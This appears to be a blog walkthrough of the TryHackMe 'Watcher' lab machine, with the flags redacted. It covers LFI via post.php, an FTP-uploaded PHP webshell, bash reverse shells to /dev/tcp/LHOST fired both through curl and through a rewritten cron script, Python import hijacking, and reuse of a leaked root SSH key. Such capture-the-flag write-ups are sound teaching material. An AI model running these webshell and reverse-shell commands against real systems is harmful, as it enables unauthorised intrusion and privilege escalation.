> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Watcher Walkthrough: Variations on a Writable File
- URL: https://taiwanding.com/en/tryhackme-watcher-walkthrough/
- Published: 2026-07-30T07:11:11.000Z
- Updated: 2026-08-04T06:19:11.000Z
- Author: Kevin Chen
- Tags: #en, #en-machine

Watcher is a medium-difficulty Linux box. On the surface it's the usual structure — seven flags, four users, a long climb up to root — but what really deserves writing down is how consistent its design theme is: **almost every privilege escalation point boils down to "there's a file I can write, and someone else touches it with higher privileges."** The same motif shows up in five different costumes, running all the way from the LFI on the web front end to root's SSH private key**.** This post pulls the whole attack chain apart, focusing on *why* each call was made rather than just *which command* was typed.

Set the target variable up front so every command below can be reused:

```bash
export IP=<target-ip>

```

## Recon: three services, one obvious way in

Step one is always a full port scan, to get a feel for the attack surface:

```bash
nmap -p- --min-rate 5000 -T4 -oN nmap-allports.txt $IP
nmap -sC -sV -p 21,22,80 -oN nmap-detail.txt $IP

```

Everything narrows down to three services:

```
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 (Jekyll v4.1.1, title "Corkplacemats")

```

FTP is the most direct candidate for a foothold, but we have no credentials for SSH and the web app is clearly the centrepiece — so the plan is to probe FTP and the web in parallel. First, one shot at anonymous FTP login:

```bash
ftp -inv $IP <<'EOF'
user anonymous anonymous
ls -la
bye
EOF

```

The reply is `530 Login incorrect`. Anonymous access is off, so the focus shifts to the web.

## Web enumeration: robots.txt hands over the first flag

One directory brute-force pass, covering the common extensions:

```bash
feroxbuster -u http://$IP/ -x php,html,txt

```

A few key hits:

- `flag_1.txt` (200)
- `post.php` (a page that takes parameters)
- `robots.txt`
- `secret_file_do_not_read.txt` (403)
- `images/` (directory listing enabled)

Grab the scattered clues in one go:

```bash
curl -s http://$IP/flag_1.txt; echo
curl -s http://$IP/robots.txt; echo

```

`flag_1.txt` is the first flag, handed over on a plate:

```
FLAG{Redacted}

```

And `robots.txt` happily lists both of the paths it doesn't want indexed — the classic robots.txt own goal. It's meant to keep crawlers out, but in practice it very often ends up being an index of exactly the sensitive paths you were hoping to hide:

```
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

```

## LFI: guessing the parameter from the filename, and one curl pays off

Hitting `post.php` with a plain curl returns nothing but an empty `<main>` — a blank render. A page that clearly *should* have content but renders blank is practically shouting: **I'm waiting for a parameter, and you haven't given me the right one yet.**

So how do you guess the parameter name? Three signals stack up: the page is called `post.php`, the site runs on Jekyll (a blog generator), and the whole thing revolves around posts. Nine times out of ten a developer names the parameter after the feature, so it's worth spending exactly one curl betting on `post` — and testing for local file inclusion (LFI) at the same time:

```bash
curl -s "http://$IP/post.php?post=/etc/passwd"

```

The entire `/etc/passwd` gets included into the page — **LFI confirmed**. If that guess had missed, ffuf would have been the fallback for fuzzing the parameter name (ffuf also lands on `post` here, so the two approaches corroborate each other):

```bash
ffuf -u "http://$IP/post.php?FUZZ=/etc/passwd" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs 2422 -mc all

```

`-fs 2422` filters out the length of the empty page, leaving only responses where the parameter actually did something and the body grew.

From `/etc/passwd` we pull out the real users with shells — **will, mat, toby, ubuntu** — plus an **ftpuser** that echoes the FTP service.

With LFI in hand, two things to do straight away: bypass that 403 to read the secret file, and use `php://filter` to pull the source code out for review. Sitting inside the secret file is a note:

> Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ftpuser:givemefiles777

A set of cleartext FTP credentials, `ftpuser:givemefiles777`, plus one crucial piece of intel: uploaded files land in `/home/ftpuser/ftp/files`.

## Chaining FTP + LFI: upload a webshell, get www-data

Log into FTP first and map out the directory structure:

```bash
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
ls -la
cd files
put test.txt
ls -la
bye
EOF

```

The login drops us straight into `/home/ftpuser/ftp/`, which holds the second flag, `flag_2.txt`, along with a `files/` directory owned by ftpuser and **writable by us**.

Second flag:

```
FLAG{Redacted}

```

Here's the real killer move: **FTP can write into `files/`, and the LFI can read absolute paths.** Bolt the two together and you can make `post.php` include — and execute — a PHP file we uploaded, straight from the browser. First verify that both sides point at the same place:

```bash
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/test.txt"

```

The uploaded file's contents come back verbatim — the exploit chain holds. Now swap the test file for a minimal webshell:

```bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
ftp -inv $IP <<'EOF'
user ftpuser givemefiles777
cd files
put shell.php
bye
EOF

curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=id"

```

The response is `uid=33(www-data)` — RCE confirmed. Next, catch a stable reverse shell, which is far nicer to work with than firing commands one at a time through a URL:

```bash
# listener
nc -lvnp 4444

# trigger (swap LHOST/LPORT for your own)
curl -s "http://$IP/post.php?post=/home/ftpuser/ftp/files/shell.php&cmd=$(python3 -c 'import urllib.parse;print(urllib.parse.quote("bash -c \"bash -i >& /dev/tcp/LHOST/4444 0>&1\""))')"

```

Once inside the shell, upgrade the TTY first — `sudo` and `su` behave much better afterwards:

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z → stty raw -echo; fg → Enter
export TERM=xterm

```

The web root contains a directory hiding the third flag, `more_secrets_a9f10a/`:

```bash
cat /var/www/html/more_secrets_a9f10a/flag_3.txt

```

```
FLAG{Redacted}

```

## Lateral movement #1: sudo -l just tells us the answer (→ toby)

Once you've got a solid foothold as www-data, the first thing to do is always `sudo -l` — it frequently writes the next hop right across its own face:

```bash
sudo -l

```

```
User www-data may run the following commands:
    (toby) NOPASSWD: ALL

```

www-data can run any command as **toby**, password-free. Note that the target here is toby, not root (`sudo su` to root will just ask for a password and get shot down). The syntax is to name the user explicitly:

```bash
sudo -u toby /bin/bash
id
cat /home/toby/flag_4.txt

```

```
uid=1003(toby) ...
FLAG{Redacted}

```

## Lateral movement #2: a writable cron script (→ mat)

toby's home directory holds two things: `note.txt` and `jobs/`. The note is a story hint saying that Mat has set up a cron job; the name `jobs/` hints heavily at scheduled tasks. Let's look:

```bash
cat /home/toby/note.txt
ls -la /home/toby/jobs/
cat /home/toby/jobs/cow.sh

```

`cow.sh` is owned by toby and — crucially — **writable by toby** (`-rwxr-xr-x ... toby toby`). Its contents just copy an image around; the important question is *who runs this script*. No need to guess — go straight to the system crontab for evidence:

```bash
cat /etc/crontab

```

The last line gives it away:

```
*/1 * * * * mat /home/toby/jobs/cow.sh

```

**mat runs this toby-writable script every single minute** — that's the mechanism for moving laterally to mat. Weaponise the script by stuffing a reverse shell into it that fires back as mat:

```bash
# listener (use a different port)
nc -lvnp 5555

# overwrite the script (from toby's shell)
cat > /home/toby/jobs/cow.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/LHOST/5555 0>&1
EOF
chmod +x /home/toby/jobs/cow.sh

```

Within 60 seconds at most, mat's shell drops into the listener. The fifth flag is in mat's home directory:

```bash
cat /home/mat/flag_5.txt

```

```
FLAG{Redacted}

```

## Lateral movement #3: Python library hijacking (→ will)

mat's `sudo -l` hands us a more refined rule:

```
(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

```

mat can run this Python script as **will**, and the trailing `*` means arbitrary arguments are allowed. Reading the script:

```python
import os
import sys
from cmd import get_command
cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
        print("Invalid command!")
        exit()
os.system(cmd)

```

The vulnerability is `from cmd import get_command` — that's a custom module. Python will hunt for `cmd.py` along the search path, and **malicious code runs the instant the `import` happens**, long before the whitelist check ever gets a turn. Which makes the whitelist completely decorative.

There's one detail here that's very easy to trip over, and it's worth writing down: **when Python is run against a *script file*, `sys.path[0]` is the directory containing the script, not the current working directory (cwd).** If you start out by dropping a malicious `cmd.py` into `/tmp` and running from `/tmp`, it will never get loaded — because Python looks first in `/home/mat/scripts/`, where `will_script.py` lives. And mat just happens to own that directory, so it's writable:

```bash
printf '%s\n' 'import os' 'def get_command(x):' '    os.system("/bin/bash")' '    return "id"' > /home/mat/scripts/cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py anything
id

```

The moment Python does `import cmd` it hits our version first, and `os.system("/bin/bash")` pops a shell as will right there at import time. The sixth flag is in will's home directory:

```bash
cat /home/will/flag_6.txt

```

```
FLAG{Redacted}

```

## Privesc to root: don't chase the decoy, go back to the evidence

There's an easy wrong turn to take once you're will. will's home directory contains a `.config/lxc/` holding `config.yml` and `cookies`, which naturally brings the classic **LXD container escape** to mind. But `lxc list` comes back with permission denied, and a quick `id` shows why:

```
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)

```

**will's only groups are `will` and `adm` — no `lxd` membership.** Without lxd group rights you can't touch that socket, so those lxc files are either a decoy or leftovers. The lesson here: **don't charge in the moment you spot a keyword; confirm your group membership with `id` first, then decide on the approach.**

Back to systematic privesc enumeration — sweep the usual angles:

```bash
find / -perm -4000 -type f 2>/dev/null        # SUID
getcap -r / 2>/dev/null                        # capabilities
sudo -n -l 2>/dev/null                          # passwordless sudo
cat /etc/crontab; ls -la /etc/cron.d/           # scheduled tasks

```

SUID binaries, capabilities and cron are all stock defaults — no GTFOBins escalation point anywhere. The real key comes from a different angle: "somewhere that will, or the adm group, can write" — right back to the motif running through this whole box:

```bash
find / -group adm -writable 2>/dev/null

```

```
/opt/backups
/opt/backups/key.b64

```

`/opt/backups/` is writable by the adm group, and it contains a `key.b64`. Let's see what's in it:

```bash
cat /opt/backups/key.b64
base64 -d /opt/backups/key.b64 | head -n 1

```

Decoded, it starts with `-----BEGIN RSA PRIVATE KEY-----` — an **RSA private key** sitting in a backup directory owned by root, and almost certainly root's own SSH key. Pull it back to the local box, fix the permissions, and log straight in:

```bash
# on the attacking box
base64 -d key.b64 > root_key
chmod 600 root_key
ssh -i root_key -o StrictHostKeyChecking=no root@<target-ip>

```

```bash
id       # uid=0(root)
cat /root/flag_7.txt

```

Seventh flag, and a closing nod to the room's name, Watcher:

```
FLAG{Redacted}

```

## Recap: five variations on a single theme

Strung together, the design intent behind the whole chain is unmistakable — **"something I can write to or read from, that someone else touches with higher privileges"** — appearing over and over:

1. **robots.txt** — information disclosure hands over the first flag
2. **LFI (`post.php?post=`)** — read `/etc/passwd`, dig out cleartext FTP credentials
3. **FTP upload × LFI inclusion** — two low-to-medium risk issues chained into RCE as www-data
4. **`sudo -u toby`** — a NOPASSWD rule that hands you the lateral move outright
5. **the writable cron script `cow.sh`** — mat runs it for us, on a schedule
6. **Python library hijacking** — drop `cmd.py` in the script's own directory to hijack the import
7. `**/opt/backups/key.b64**` — root's private key, readable by the adm group → `ssh root`